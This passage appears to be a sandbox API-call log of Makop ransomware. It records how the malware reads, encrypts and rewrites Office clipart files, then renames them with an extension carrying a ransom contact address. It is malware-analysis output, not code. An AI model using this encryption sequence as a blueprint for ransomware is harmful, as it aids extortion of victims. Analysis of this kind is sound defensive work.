hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1d3, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1d3, lpOverlapped=0x0) returned 1 [0154.517] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e0) returned 1 [0154.517] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.517] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1e0, lpOverlapped=0x0) returned 1 [0154.517] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.517] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.517] SetEndOfFile (hFile=0xf0) returned 1 [0154.524] GetProcessHeap () returned 0x48a0000 [0154.524] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0154.524] GetProcessHeap () returned 0x48a0000 [0154.524] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0154.524] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0154.524] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0154.528] CloseHandle (hObject=0xf0) returned 1 [0154.528] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x545ba000, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x545ba000, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01245_.GIF", cAlternateFileName="")) returned 1 [0154.528] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF") returned 63 [0154.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.530] GetProcessHeap () returned 0x48a0000 [0154.530] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0154.530] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0154.530] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0154.531] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0154.535] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.535] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.535] GetProcessHeap () returned 0x48a0000 [0154.535] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0154.535] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0154.535] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.535] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0154.535] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0154.535] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0154.536] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0154.536] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0154.536] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0154.536] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.536] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.536] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.536] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x155, lpOverlapped=0x0) returned 1 [0154.536] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x160, dwBufLen=0x160 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x160) returned 1 [0154.536] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.537] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x160, lpOverlapped=0x0) returned 1 [0154.537] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.537] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x234, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.537] SetEndOfFile (hFile=0xf0) returned 1 [0154.543] GetProcessHeap () returned 0x48a0000 [0154.543] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0154.543] GetProcessHeap () returned 0x48a0000 [0154.543] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0154.543] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0154.543] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0154.546] CloseHandle (hObject=0xf0) returned 1 [0154.547] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486fde00, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x486fde00, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01246_.GIF", cAlternateFileName="")) returned 1 [0154.547] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF") returned 63 [0154.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.548] GetProcessHeap () returned 0x48a0000 [0154.548] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0154.548] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0154.548] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0154.548] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0154.552] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.552] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.552] GetProcessHeap () returned 0x48a0000 [0154.552] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0154.552] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0154.552] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.552] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0154.553] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0154.553] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0154.553] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0154.553] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0154.553] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0154.554] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.554] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.554] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.554] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1ce, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1ce, lpOverlapped=0x0) returned 1 [0154.554] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1d0) returned 1 [0154.554] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.554] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1d0, lpOverlapped=0x0) returned 1 [0154.554] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.554] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.555] SetEndOfFile (hFile=0xf0) returned 1 [0154.561] GetProcessHeap () returned 0x48a0000 [0154.561] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0154.561] GetProcessHeap () returned 0x48a0000 [0154.561] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0154.561] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0154.561] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0154.564] CloseHandle (hObject=0xf0) returned 1 [0154.565] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d7f5e00, ftCreationTime.dwHighDateTime=0x1bd4e68, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d7f5e00, ftLastWriteTime.dwHighDateTime=0x1bd4e68, nFileSizeHigh=0x0, nFileSizeLow=0xff7, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01253_.GIF", cAlternateFileName="")) returned 1 [0154.565] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF") returned 63 [0154.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.566] GetProcessHeap () returned 0x48a0000 [0154.566] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0154.566] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0154.566] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0154.566] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x9, lpOverlapped=0x0) returned 1 [0154.570] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.570] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.570] GetProcessHeap () returned 0x48a0000 [0154.570] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0154.570] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0154.570] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.571] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0154.571] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0154.571] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0154.571] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0154.571] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0154.572] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0154.572] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.572] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.572] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.572] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xff7, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xff7, lpOverlapped=0x0) returned 1 [0154.572] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1000, dwBufLen=0x1000 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1000) returned 1 [0154.572] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.572] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1000, lpOverlapped=0x0) returned 1 [0154.573] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.573] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x10d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.573] SetEndOfFile (hFile=0xf0) returned 1 [0154.579] GetProcessHeap () returned 0x48a0000 [0154.580] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0154.580] GetProcessHeap () returned 0x48a0000 [0154.580] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0154.580] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0154.580] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0154.581] CloseHandle (hObject=0xf0) returned 1 [0154.581] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9550b600, ftCreationTime.dwHighDateTime=0x1bd4e65, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9550b600, ftLastWriteTime.dwHighDateTime=0x1bd4e65, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01268_.GIF", cAlternateFileName="")) returned 1 [0154.582] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF") returned 63 [0154.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.582] GetProcessHeap () returned 0x48a0000 [0154.583] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0154.583] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0154.583] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0154.583] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x5, lpOverlapped=0x0) returned 1 [0154.586] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.586] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.586] GetProcessHeap () returned 0x48a0000 [0154.586] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0154.586] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0154.586] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.587] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0154.587] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0154.587] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0154.587] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0154.587] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0154.587] WriteFile (in: hFile=0xf0, 